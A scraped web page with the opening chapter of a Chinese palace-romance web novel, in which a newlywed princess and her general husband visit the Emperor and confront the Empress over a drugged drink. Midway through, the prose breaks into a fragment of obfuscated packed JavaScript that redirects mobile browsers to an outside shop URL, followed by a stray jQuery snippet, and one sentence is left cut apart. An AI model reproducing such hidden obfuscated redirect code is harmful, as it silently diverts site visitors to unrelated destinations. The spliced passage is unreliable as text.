文趣网 > 其他小说 > 落难公主种田记 > 1. 新婚
    本文《小将军他父凭子贵》,又名《落难公主种田记》,晋江文学城独发,盗版必究。

    【1】

    天启二十三年,六月初一。

    大楚皇城,坤宁宫。

    今日是云嘉公主佟语盈和驸马邹暮云大婚的第二日,照例须得进宫请安的日子。

    天启帝昨日自送女儿出阁后,便一直怏怏不乐,昨夜寻梁皇后说了半宿的话,后半夜还辗转反侧,难以成眠。

    惹得梁皇后也没怎么睡,一大早被皇帝起身的动静惊醒,便再睡不得,带着满脸的憔悴起身洗漱梳妆。

    幸好这些年她保养得当,梳妆之后,脸上那丝疲惫便消失无踪,和往日一般雍容大方,她满意地点了头。

    正通过铜镜,看负责妆发的宫女最后给她戴上耳坠时,有宫人来报:“皇后娘娘,梁嬷嬷回来了,正在宫门外等候娘娘召见。”

    梁嬷嬷乃梁皇后的乳嬷嬷,半月前被送回梁尚书府,只因过分思念主子,在尚书府待得难熬,故今晨早早便候在宫门,急着回宫伺候。

    梁皇后闻言,微不可察地皱了皱眉,声音几不可闻:“不是说,再避一避?”

    尤其今日……

    心情本就因没睡好而有些燥,听得这消息,那股闷闷的火气便似是冒了头。

    “怎这样不懂事?”她眉眼冷沉。

    “娘娘,您是和奴婢说话么?”传话的小宫女谨慎抬眼,却瞥见皇后如此脸色,有些忐忑,面带踌躇。

    听得这话,梁皇后回过神来,朝她摆摆手,无意发作:“下去罢!”

    罢了,好歹是将自己奶大、照顾了她四十余年的乳嬷嬷,她到底狠不下心来。

    梁嬷嬷就这样被允许进了宫,欢欢喜喜地替主子张罗起了一应事宜。

    云嘉公主乃是元后娘娘所出,这些年又是被陛下捧在掌心里呵护长大的,性子娇纵得很,今日她携新婚驸马回宫请安,可不能怠慢。

    尤其听梁皇后说皇帝昨夜翻来覆去、惹得她也没睡好的随口抱怨,那双盯着宫人太监们做事的双眼,眼神愈发严厉和挑剔。

    半月前陛下才因云嘉公主之事责罚了梁尚书府,还迁怒了娘娘,她离宫的这半月,也不知他可有消气。

    梁嬷嬷想着,在见天启帝进门时,便愈发殷勤。

    天启帝瞥了她一眼,一言不发。

    梁皇后心里定了定,吩咐了梁嬷嬷几句,让她频频点头。

    不多时,宫人来报,云嘉公主和驸马邹小将军过来了。

    “快请进来。”天启帝大喜,忙道。

    不多时,一双新人联袂而来,出现在内殿对面的游廊。

    “陛下您瞧,云嘉和驸马可恩爱着呢!”

    听得梁皇后的笑语,他忙抬起头,目光细细地在正慢慢走近的女儿身上打量。

    自过了不惑之年,天启帝眼睛便出了些问题,看近处之物模糊了些,但看远处却清晰不少。

    故而他坐在殿中上首,隔着一道殿门,甚至能看清来人脸上的表情。

    见女儿云嘉面上红润娇媚,明眸清润,在驸马伸手扶她时嫣然一笑,顿时便满意不少。

    这桩婚事仓促,可幸好,如今看来,这倒是一双璧人。

    殿门外,云嘉公主佟语盈不知她父皇在想些什么。

    才转过游廊,避开殿中之人的视线,她就低声叮嘱她的驸马:“待会儿你看我眼色行事。不必要理会的人,一个眼风都不要给。”

    她的驸马邹暮云分明是武将,性子却细腻体贴,待她处处温和恭顺,她满意得很。

    既满意这个驸马,那他日后就是她的人了,可定要和她站统一战线上才是。

    邹暮云垂眸,笑着应了,见她眉眼矜傲、眸中斗志昂扬,一副已准备好随时跟人掐架的娇俏模样,唇角的弧度愈深。

    他扶着她,二人一同迈过高高的门槛,丹色的裙摆和深绯色官袍下摆,在同步扬起时亲密交缠一瞬,很快又分开。

    新婚的小夫妻才和帝后见过礼,被叫起后,刚站直身子,一道慈和的男声便响起:“云嘉,来,坐到父皇身边来。”

    天启帝微笑着朝小女儿招手,示意她坐到自己下首。

    “父皇怎么瞧着,你好像和以前不一样了。”并非疑惑的语气,他含着笑意的声音里,满是笃定。

    年逾四十的皇帝,便是一夜难眠,面上也未见一丝老态和疲惫。和女儿说话时,他的眉眼温和又舒朗,像个成熟的玉面郎君。

    很难让人相信,他乃大楚御极已逾二十载的一国之君。

    被冷落的驸马邹暮云面上未见丝毫不满,只飞快地垂下目光,遮掩了眸中的情绪。

    他有些意外。

    金銮殿上,一举一动间皆引得臣子们暗中揣测、心内不安的威严帝王,此时却对女儿笑得一脸的慈爱。

    再看公主。

    邹暮云站得挺拔,深绯色的官袍纹丝未动,眼角余光随着新婚妻子透着欢快的身影而移动。

    他瞧着那抹丹色倩影毫不犹豫弃了他,奔向她的父亲,丹凤眸中,未见失落情绪,只因她裙摆那抹亮色实在惑人。

    洞房花烛夜的记忆浮现脑海,邹暮云喉结上下动了动,有些狼狈地微微垂首,再不敢看那引他失神的小公主。

    佟语盈不知她的新婚驸马在想些什么,听到父皇在唤自己,便脚步轻快地从邹暮云身边走过。

    一路走到天启帝下首已经摆好的座椅上,她才坐下,便笑着挽住父皇的胳膊。

    心里愉悦又好笑,她昨日才从宫中出嫁,不过一日未见,父皇就跟认不出她了似的。

    她又不是睡了一觉,多长了三头六臂,哪里和以前不一样了嘛!

    肯定是父皇太想她了,才产生了错觉!

    “父皇,您好好看看我嘛!”她摇着天启帝的手臂,嘻嘻笑着,一双灵动的鹿眼弯成了月牙儿,“女儿和昨日没什么不同。”

    她本就清甜的嗓音跟染了蜜似的,腻得一旁被当成透明人的梁皇后,端起茶盏,慢悠悠地喝了一口。

    却甜得同样被当成透明人,依旧站在堂下的驸马邹暮云,微微勾起唇角。

    眼中仅有彼此的父女俩,却丝毫未察这殿中细微的交锋。

    “确实不一样了。”

    “嫁了人,”天启帝仔细端详着女儿的脸,忍不住揉了揉她的头,“好似一下子就长大了许多。”他感慨着。

    佟语盈“哎呀”一声,想躲,却没躲过,只好由着父皇将晨起时宫人们为她精心梳就的发髻弄散。

    “父皇,您又使坏!”她跺了跺脚,瞧着似乎是生气了,但声音却依然跟浸了蜜似的,甜得很。

    一旁站着的驸马邹暮云目光不由自主地瞥了过去,正撞见新婚妻子明眸中晃眼的笑意。

    她长了一双鹿眼,灵动又娇俏。

    笑起来时,就跟那再清澈不过的月湖仿佛,盈盈流动着让人心动的微光。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683728|207758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >她若是生气,双眸就跟两汪包了火山的冰泉似的,冷冽却蕴含着一簇火焰,惹人炫目。

    一如现下这般。

    怎么会有人,生起气来,都这样好看?

    即便她是侧身对着他,那双鲜活的明眸也未在他身上停留,他依旧觉得,很好看。

    邹暮云又有些怔神。

    “瞧,邹小将军都看得出神了。”

    梁皇后染了火红蔻丹的五指虚虚附在唇边,遮住了嘴角的弧度,只余微微眯起的双眼,瞧着十分可亲。

    “哎呀,驸马怎么还没坐下?”她好像才看到一直站着的邹暮云似的,语气再自然不过,带着热切,“快来坐下呀!”她朝邹暮云招手。

    旁若无人地说着小话的父女俩,终于舍得将眼光分给旁人。

    天启帝乐呵呵的,在女儿已经有碎发逃出的发髻上又揪了一把,眼见女儿要发怒,才若无其事地收回手。

    “驸马来,也到朕身边坐下。”他看向邹暮云。

    邹暮云早在梁皇后出声时便已回过神来,正眼观鼻鼻观心地原地垂首站着。

    梁皇后朝他招手时,他不知是因着低头没看到,还是胆大包天竟忽视了一朝皇后而装作没看到。

    兴许后者的可能性还更大些,因他头虽低着,但总不能耳朵也聋了,没听见皇后娘娘的话。

    一旁侍候着的梁嬷嬷对他怒目而视,不过,牢记着梁皇后方才的吩咐,她敢怒却不敢言。

    梁皇后的话落在地上没人接腔,她也不尴尬,只被收回的右手,被她死死地扣在左手掌心。

    幸好,天启帝及时搭话,将这难堪的场面圆了过去。

    邹暮云在佟语盈身旁坐下,梁嬷嬷为他上茶时,不着痕迹地打量了他一眼。

    但只一眼,就被人抓住。

    迎着那不怒而威的淡然视线,梁嬷嬷忙垂下头,状似专心地为他添了茶,如果忽略茶水在空中隐约不稳的弧线的话。

    邹暮云收回目光。

    梁嬷嬷松了口气,再不敢多看,心里也没敢再想什么,添了茶后,便重新退回梁皇后身边。

    主仆二人交换了一个隐晦的眼神。

    “驸马,你在看什么?”清甜的嗓音响起,打断了皇后和梁嬷嬷之间默契的对视。

    邹暮云会意,温声:“回公主,臣在看,方才为臣添茶的嬷嬷,好似有几分眼熟。”

    说着,凛冽的目光直直地射向皇后身边的人:“皇后娘娘,半月前的宫宴,是您身边这位嬷嬷,亲手给公主送去了一杯甜酒罢?”

    半月前,宫宴,公主和甜酒。

    这已经默认被翻篇的事,在这样的时候重新被人提起,实在让人措手不及。

    一道被帝后联手镇压的猜测,不受控制地浮现在殿中人的脑海中。

    殿中一时寂静,唯有被放得很轻的呼吸声,昭示着侍立在侧宫人们的难捱,探究的目光却半分都不敢朝正坐着的主子们投去。

    半晌过后,厅中才重新有了人声。

    却是七公主率先开的口。

    “驸马说得不错。”佟语盈气哼哼道,抱着天启帝的胳膊又摇了摇,“父皇,您可要为女儿做主。”她撒娇。

    说着“做主”二字,她还刻意朝一旁被她忽视至今的人递去一道凶巴巴的视线。

    顺着她的目光,天启帝尴尬地看了一眼梁皇后。

    他这样的眼神,让原本脸色淡然、眸中嘲弄的梁皇后身子瞬时僵住。